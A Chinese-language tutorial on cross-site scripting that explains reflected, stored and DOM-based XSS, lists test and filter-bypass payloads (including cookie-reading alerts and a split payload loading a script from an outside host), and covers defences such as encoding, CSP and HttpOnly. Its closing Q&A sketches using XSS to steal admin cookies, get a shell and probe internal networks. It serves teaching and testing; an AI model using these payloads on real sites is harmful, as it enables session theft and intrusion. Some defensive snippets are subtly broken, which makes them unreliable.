XSS 介绍

跨站脚本攻击（Cross-site scripting，为与层叠样式表 CSS 区分，简称为 XSS）是一种 Web 安全漏洞，攻击者可以利用这种漏洞在网站上注入恶意的客户端代码。当被攻击者登陆网站时就会自动运行这些恶意代码，从而，攻击者可以突破网站的访问权限，冒充受害者
XSS 基础 - 图1

XSS 原理

当应用程序发送给浏览器的页面中包含用户提交的数据，但没有经过适当验证或转义时，就会导致跨站脚本漏洞。这个“跨”实际上属于浏览器的特性，而不是缺陷;

浏览器同源策略：只有发布Cookie的网站才能读取Cookie。

会造成Cookie窃取、劫持用户Web行为、结合CSRF进行针对性攻击等危害

反射型

出现在搜索栏，用户登录等地方，常用来窃取客户端的Cookie进行钓鱼欺骗。(需要用户去点击)

想要窃取cookie要满足两个条件：

1.用户点击攻击者构造的URL 2.访问被攻击的应用服务(即存在xss的网站)

存储型

出现在留言、评论、博客日志等交互处，直接影响Web服务器自身安全

DOM型

基于文档对象模型(Document Object Model)的一种漏洞；
DOM型与反射型类似，都需要攻击者诱使用户点击专门设计的URL；
Dom型 xss 是通过 url 传入参数去控制触发的；
Dom型返回页面源码中看不到输入的payload， 而是保存在浏览器的DOM中。

假设应用程序返回的页面包含以下脚本：

  1. <script>
  2.     var url = document.location;
  3.     url = unescape(url);
  4.     var message = url.substring(url.indexOf('message=') + 8,url.length);
  5.     document.write(message);
  6. </script>

把 javascript 代码作为message的参数，这段代码将会被动态的写入到页面中，

并像服务器返回代码一样得以执行。

DOM型与反射 型类似，都需要攻击者诱使用户点击专门设计的URL

查找利用XSS漏洞

基本验证

  1. "><script>alert(document.cookie)</script>

把这个字符串提交给每个应用程序页面的每个参数；

同时监控它的响应，如果攻击字符串原样出现在响应中，就可能存在XSS漏洞。

许多应用可能会经过黑名单等简单的初步过滤，试图阻止XSS攻击；

可以通过编码等方式绕过：

  1. "><ScRiPt>alert(document.cookie)</ScRiPt>
  2. "%3e%3cscript%3ealert(document.cookie)%3c/script%3e
  3. "><scr<script>ipt>alert(document.cookie)</scr</script>ipt>
  4. %00"><script>alert(document.cookie)</script>

当利用基于DOM的XSS漏洞时，攻击有效载荷并不在服务器的响应中返回，而是保存在浏览器的DOM中，并可被客户端javascript访问。

在这种情况下，以上基本验证无法发现XSS漏洞。

查找反射型XSS

测试引入脚本的反射

例1，标签属性值：

假设返回页面中包含以下脚本：

  1. <input type="text" name="name" value="test-text" >

很明显，利用xss的方法是终止包含字符串的双引号，结束``标签

  1. "><script>alert(1)</script>

例2，javascript字符串：

假设返回页面中包含以下脚本：

  1. <script>var a='test-text'; var b=123;...</script>

用分号终止语句

  1. '; alert(1); var foo='

例3，包含URL的特性

假设返回页面中包含以下脚本：

  1. <a href="test-text">Click here</a>html

这时，受控制的字符插入到一个`标签的href`属性中。

这个属性可能包含一个使用javascript:协议的URL，利用：

  1. javascript:alert(1);

脚本标签

事件处理器

有大量事件处理器可与各种标签结合使用，用于执行脚本。

一些示例，可在不需要任何用户交互的情况下执行脚本：

  1. <style onreadystatechange=alert(1)></style>
  2. <iframe onreadystatechange=alert(1)></iframe>
  3. <object onerror=alert(1)></object>
  4. <img type=image src=valid.gif onreadystatechange=alert(1)>
  5. <input type=image src=valid.gif onreadystatechange=alert(1)>
  6. <body onbeforeactivate=alert(1)></body>
  7. <video src=1 onerror=alert(1)></video>
  8. <audio src=1 onerror=alert(1)>

脚本伪协议

脚本伪协议可用在任何位置，以在需要URL的属性中执行行内脚本。

  1. <object data=javascript:alert(1)></object>
  2. <iframe src=javascript:alert(1)></iframe>
  3. <event-source src=javascript:alert(1)></event-source>

避开过滤:HTML

标签名称

改变字符大小写

  1. <iMg onerror=alert(1) src=a>

插入NULL字节

  1. <[%00]img onerror=alert(1) src=a>

标签名称后的空格

一些可用于替代空格的字符

  1. <img[%09]onerror=alert(1) src=a>
  2. <img[%0d]onerror=alert(1) src=a>
  3. <img[%0a]onerror=alert(1) src=a>
  4. <img/"onerror=alert(1) src=a>

属性名称

绕开一些检查以on开头的过滤器

  1. <img o[%00]nerror=alert(1) src=a>

属性分隔符,把多个属性分隔开

  1. <img onerror='alert(1)'src=a>

属性值

可以用NULL字节或HTML编码属性值

  1. <img onerror=a[%00]lert(1) src=a>
  2. <img onerror=a&#x006c;ert(1) src=a>

HTML编码 十六进制编码 base64编码 ASCII编码

以下属性可以被编码：

  1. href=
  2. action=
  3. formaction=
  4. location=
  5. on*=
  6. name=
  7. background=
  8. poster=
  9. src=
  10. code=
  11. data= //只支持base64

字符集

有时可用一些非标准编码绕开过滤器

UTF-7、US-ASCII、UTF-16

拆分跨站：

当应用程序没有过滤<、>关键字却限制了字符长度时可用拆分跨站

  1. <script>z='<script src=';/*
  3. */z+='test.c';/*
  5. */z+='n/1.js><0/script>';/*
  7. */document.write(z)</script>

最终执行

  1. <script>
  3. z='undefined<script src=test.cn/1.js></script>';
  5. document.write(z)
  7. </script>

避开过滤：脚本代码

有些过滤器可能阻止javascript关键字和表达式，有用的字符，比如引号、括号和圆点。

Unicode转义

  1. <script>a\u006cert(1)</script>

如果能够使用eval命令，就能够将其它命令以字符串的格式传送给eval，从而执行其它 命令。

  1. <script>eval('a\u006cert(1)');</script>

替代圆点

  1. <script>alert(document['cookie'])</script>
  2. <script>with(document)alert(cookie)</script>

查找利用存储型XSS

确定保存型XSS漏洞的过程与前面描述的确定反射型XSS漏洞的过程类似。

但是，这两个过程之间也存在一些重要的区别；

在进行测试时必须记住这些区别，以确定尽可能多的漏洞。

(1) 向应用程序的每一个可能的位置提交一个特殊字符串后，必须反复检查应用程序的全部内容与功能；

(2) 如有可能，应检查管理员能够访问的区域，确定其中是否有可以被非管理用户控制的数据；

比如有些应用可以在浏览器查看日志，攻击者可留下恶意的HTML日志加以利用；

(3) 检查应用的整个流程，确保测试彻底，检查任何可控的带外通道，如HTTP消息头；

在上传文件中测试XSS

如果应用程序允许用户上传可被其它用户查看下载的文件，就会出现保存型XSS，这种漏洞常被人们忽略。

测试时，首先上传一个验证性的HTML文件。

如果该文件被接受，则尝试以正常方式下载该文件。

如果应用程序按照原样返回最初的文件，并且脚本被执行，则应用肯定易于受到攻击。

例：可把XSS的payload做成图片木马，上传到用户头像(用各种方法去绕过上传限制)

查找并利用DOM型的XSS漏洞

确定基于DOM型的XSS漏洞，一种有效的方法是，检查所有客户端JavaScript，

看其中是否使用任何可能会导致漏洞的DOM属性。

工具DOMTracer (opens new window)可自动完成这个测试过程。

检查每一段客户端JavaScript，看其中是否出现以下API

它们可用于访问通过一个专门设计的URL控制的DOM数据；

  1.  document.location
  2.  document.URL
  3.  document.URLUnencoded
  4.  document.referrer
  5.  window.location

在每一个使用上述API的位置，仔细检查那里的代码，确定应用程序如何处理用户可控的数据；

以及是否可以使用专门设计的输入来执行JavaScript。

尤其注意检查并测试控制的数据被传送至以下任何一个API的情况

  1. document.write()
  2. document.writeln()
  3. document.body.innerHtml
  4. eval()
  5. window.execScript()
  6. window.setInterval()
  7. window.setTimeout()

片段技巧：服务器不解析url中#后的内容

防止反射型与存储型XSS #

用户可控的数据未经适当的确认与净化就被复制到应用程序响应中，这是造成反射型与保存型XSS漏洞的根本原因

1.确认输入

数据不能太长

数据仅包含某组合法字符

数据与一个特殊的正则表达式相匹配

根据应用程序希望在字段中收到的数据类型，应尽可能的限制性的对姓名、电子邮件地址、账号等

应用不同的确认规则。

2.确认输出

如果应用程序将某位用户或第三方提交的数据复制到它的响应中，应对这些数据进行HTML编码，净化恶意代码。

3.消除危险插入点

应尽量避免直接在现有的JavaScript中插入用户可控的数据；

如果标签属性接受URL作为它的值，应避免嵌入用户的输入；

4.允许有限的HTML

一些应用程序允许用户以HTML格式提交即将插入到应用程序响应中的数据。

例如博客、论坛的富文本编辑器允许使用HTML书写。

有各种框架(如OWASP AntiSamy项目)可用于确认用户提交的HTML标记，以确保其中未包含任何执行JavaScript的方法。

防止基于DOM的XSS漏洞

造成这种漏洞并无法不需要将用户可控的数据复制到服务器响应中，所以上述防范方法对DOM型XSS无用；

应用程序应尽量避免使用客户端脚本处理DOM数据并把它插入到页面中；

如果无法避免，应使用以下两种方法防御DOM型XSS攻击。

1.确认输入

客户端，确认将要插入到文档中的数据仅包含字母数字与空白符

  1. <script>
  2.     var a = document.URL;
  3.     a = a.substring(a.indexOf("message=") + 8, a.length);
  4.     a = unescape(a);
  5.     var regex=/^(A-Za-z0-9+\s)*$/;
  6.     if (regex.test(a))
  7.         document.write(a);
  8. </script>

服务端，对URL数据进行严格确认

查询字符串中只有一个参数 参数名大小写检查 参数值仅包含数字字母

2.确认输出

在将用户可控的DOM数据插入到文档之前，进行HTML编码

  1. <?php
  2.     function reinit(str)
  3.     {
  4.         var d = document.createElement('div');
  5.         d.appendChild(document.createTextNode(str));
  6.         return d.innerHTML;
  7.     }
  8. ?>

其他 XSS 防范措施 #

介绍一些通用的方案，可以降低 XSS 带来的风险和后果。

Content Security Policy

严格的 CSP 在 XSS 的防范中可以起到以下的作用：

禁止加载外域代码，防止复杂的攻击逻辑。 禁止外域提交，网站被攻击后，用户的数据不会泄露到外域。 禁止内联脚本执行（规则较严格，目前发现 GitHub 使用）。 禁止未授权的脚本执行（新特性，Google Map 移动版在使用）。 合理使用上报可以及时发现 XSS，利于尽快修复问题。

输入内容长度控制

对于不受信任的输入，都应该限定一个合理的长度。

虽然无法完全防止 XSS 发生，但可以增加 XSS 攻击的难度。

HTTP-only

HTTP-only Cookie: 禁止 JavaScript 读取某些敏感 Cookie，攻击者完成 XSS 注入后也无法窃取此 Cookie。

验证码：防止脚本冒充用户提交危险操作。

xss 工具 #

XSS前端编码：https://github.com/evilcos/xssor2

Xss-cheat-sheet： https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

XSS_Fuzz

官网 软件对应科普文
BruteXSS(opens new window) Freebuf相关科普 (opens new window)
汉化版(opens new window)
XSSfrok(opens new window) Seebug作者教程(opens new window)

.(opens new window)

..(opens new window)

问题 #

如何快速发现 xss 位置 ？

对于反射型XSS：

一般来说就是找输入点的可控参数，比如搜索框、留言板、 登录 / 注册，构造payload发送，监控响应

上边这种方法不适用于DOM型XSS，因为 基于DOM的XSS漏洞 ， payload并不在服务器的响应中返回，而是保存在浏览器的DOM中

对于存储型XSS：正常的输入payload查看是否过滤，也可以反向猜测输出点，构造payload去输入

XSS 蠕虫的产生条件 ？

  1. 可以执行恶意操作；
  2. 可以感染并传播

    就是产生XSS点的页面不属于self页面，用户之间产生交互行为的页面，都可能造成XSS Worm的产生 （微博、贴吧）

    由于XSS蠕虫基于浏览器而不是操作系统，取决于其依赖网站的规模，它可以在短时间内达到对巨大数量的计算机感染

**XSS**能打到后台，但是后台系统处于内网，怎么做内网探测？

XSS平台拿cookie登录后台，或钓鱼拿登录，然后找上传点getshell，然后结合msf使用

实例参考：https://bbs.ichunqiu.com/thread-46068-1-1.html?from=bkyl

github有一些现成的xss扫描内网端口的脚本，可以参考利用

再根据探测出来的信息进一步利用，比如开了redis等，再就是利用漏洞去getshell

参考

  1. https://portswigger.net/web-security/cross-site-scripting
  2. https://developer.mozilla.org/zh-CN/docs/Glossary/Cross-site_scripting